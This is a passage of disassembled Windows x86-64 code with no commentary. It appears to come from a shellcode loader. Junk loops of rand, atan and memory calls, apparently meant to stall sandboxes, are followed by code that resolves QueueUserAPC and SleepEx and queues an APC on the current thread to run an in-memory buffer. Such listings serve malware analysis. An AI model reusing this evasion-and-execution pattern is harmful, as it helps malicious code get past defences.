add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x108]
add rax, rdx
mov edx, dword [rbp + 0x2e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0xf8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2e0], 1
add dword [rbp + 0x2e4], 1
cmp dword [rbp + 0x2e4], 0x325
jle 0x140002878
mov rax, qword [rbp + 0x110]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x100]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0xf8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x2e8], 1
mov ecx, 0x1890
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0x2dc], 0
jmp 0x140002a32
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xf0]
add rax, rdx
movsd xmm1, qword [0x140006180]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 0x311
jle 0x1400029f4
mov dword [rbp + 0x2dc], 0
jmp 0x140002a9c
mov eax, dword [rbp + 0x2dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xf0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0xf0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 0x311
jle 0x140002a4a
add dword [rbp + 0x2f8], 1
cmp dword [rbp + 0x2f8], 0x30b
jle 0x140002787
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x130], rax
mov dword [rbp + 0x2d8], 0xffffffff
add dword [rbp + 0x2d8], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006180]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d40
movq rax, xmm0
mov qword [rbp + 0x128], rax
cmp dword [rbp + 0x2d8], 0x365
jle 0x140002ad7
mov rax, qword [rbp + 0x2c8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x130]
mov r9, qword [rbp + 0x120]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x118]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x330]
add rsp, 0x3c8
pop rbx
pop rbp
ret